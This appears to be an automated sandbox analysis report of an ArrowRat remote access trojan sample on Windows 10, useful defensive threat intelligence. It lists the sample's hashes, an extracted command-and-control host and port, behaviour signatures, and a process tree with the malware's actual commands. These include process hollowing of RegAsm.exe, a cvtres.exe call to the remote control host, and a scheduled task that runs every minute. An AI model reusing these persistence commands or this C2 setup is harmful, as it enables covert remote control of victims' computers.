Overview

overview

10

Static

static

3

e659861670...27.exe

windows7-x64

10

e659861670...27.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-09-2024 01:26

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General

  • Target

    e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe

  • Size

    300.0MB

  • MD5

    135b97e053b660f8e6cacd58965b93cd

  • SHA1

    828e92ad30ac243ec063252a338519e4429940e3

  • SHA256

    e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027

  • SHA512

    6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c

  • SSDEEP

    12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Score
10/10
arrowratclientdiscoverypersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
    adwarespyware
  • Modifies registry class 36 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of FindShellTrayWindow 50 IoCs
  • Suspicious use of SendNotifyMessage 22 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe
    "C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1224
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:1988
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4568
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3940
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1428
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4360
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3168
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2908
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:432
  • C:\Users\Admin\AppData\Roaming\kio\kio.exe
    C:\Users\Admin\AppData\Roaming\kio\kio.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3928
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3176
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Modifies registry class
        PID:1272
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
        3⤵
          PID:1748
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
          3⤵
            PID:2928
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4012
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2968
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5020
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
            3⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:4968
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c copy "C:\Users\Admin\AppData\Roaming\kio\kio.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4696

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133717012935933920.txt
        Filesize

        74KB

        MD5

        704b805c216e82ff55ea9fed2290bb5a

        SHA1

        e29e2c627f58efc2f2ca93601d10c09e623e4090

        SHA256

        308eab1e41608f84f311c77e4536c1aba4a466b89fd114137c4a5e77a0b5cacb

        SHA512

        8a930be97f626a39cb4b441075f962470cbe1a6daeed2563843bf6652637744cb10c9fe22fcb653627e0055e1a600c92d3c559b3fbe76507a1aca901bdcf335f

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\TMP_pass
        Filesize

        40KB

        MD5

        a182561a527f929489bf4b8f74f65cd7

        SHA1

        8cd6866594759711ea1836e86a5b7ca64ee8911f

        SHA256

        42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

        SHA512

        9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

        Download Submit

      • memory/432-30-0x000001EE46C90000-0x000001EE46CB0000-memory.dmp

        Filesize

        128KB

        Download

      • memory/432-26-0x000001E644B40000-0x000001E644C40000-memory.dmp

        Filesize

        1024KB

        Download

      • memory/432-25-0x000001E644B40000-0x000001E644C40000-memory.dmp

        Filesize

        1024KB

        Download

      • memory/432-61-0x000001EE47060000-0x000001EE47080000-memory.dmp

        Filesize

        128KB

        Download

      • memory/432-39-0x000001EE46C50000-0x000001EE46C70000-memory.dmp

        Filesize

        128KB

        Download

      • memory/1224-173-0x00000000745C0000-0x0000000074D70000-memory.dmp

        Filesize

        7.7MB

        Download

      • memory/1224-14-0x00000000745C0000-0x0000000074D70000-memory.dmp

        Filesize

        7.7MB

        Download

      • memory/1224-9-0x0000000000400000-0x0000000000460000-memory.dmp

        Filesize

        384KB

        Download

      • memory/1224-11-0x00000000745C0000-0x0000000074D70000-memory.dmp

        Filesize

        7.7MB

        Download

      • memory/1224-10-0x0000000005790000-0x000000000582C000-memory.dmp

        Filesize

        624KB

        Download

      • memory/1988-23-0x00000000007A0000-0x00000000007A1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/3584-6-0x0000000005080000-0x000000000508A000-memory.dmp

        Filesize

        40KB

        Download

      • memory/3584-15-0x00000000745C0000-0x0000000074D70000-memory.dmp

        Filesize

        7.7MB

        Download

      • memory/3584-8-0x00000000745C0000-0x0000000074D70000-memory.dmp

        Filesize

        7.7MB

        Download

      • memory/3584-7-0x00000000745CE000-0x00000000745CF000-memory.dmp

        Filesize

        4KB

        Download

      • memory/3584-0-0x00000000745CE000-0x00000000745CF000-memory.dmp

        Filesize

        4KB

        Download

      • memory/3584-5-0x00000000745C0000-0x0000000074D70000-memory.dmp

        Filesize

        7.7MB

        Download

      • memory/3584-4-0x00000000051B0000-0x0000000005216000-memory.dmp

        Filesize

        408KB

        Download

      • memory/3584-3-0x00000000050B0000-0x0000000005142000-memory.dmp

        Filesize

        584KB

        Download

      • memory/3584-2-0x0000000005760000-0x0000000005D04000-memory.dmp

        Filesize

        5.6MB

        Download

      • memory/3584-1-0x0000000000610000-0x00000000006CC000-memory.dmp

        Filesize

        752KB

        Download

      • memory/3928-205-0x0000000000DE0000-0x0000000000E9C000-memory.dmp

        Filesize

        752KB

        Download

      • memory/4568-18-0x0000000006030000-0x0000000006080000-memory.dmp

        Filesize

        320KB

        Download

      • memory/4568-12-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

        Download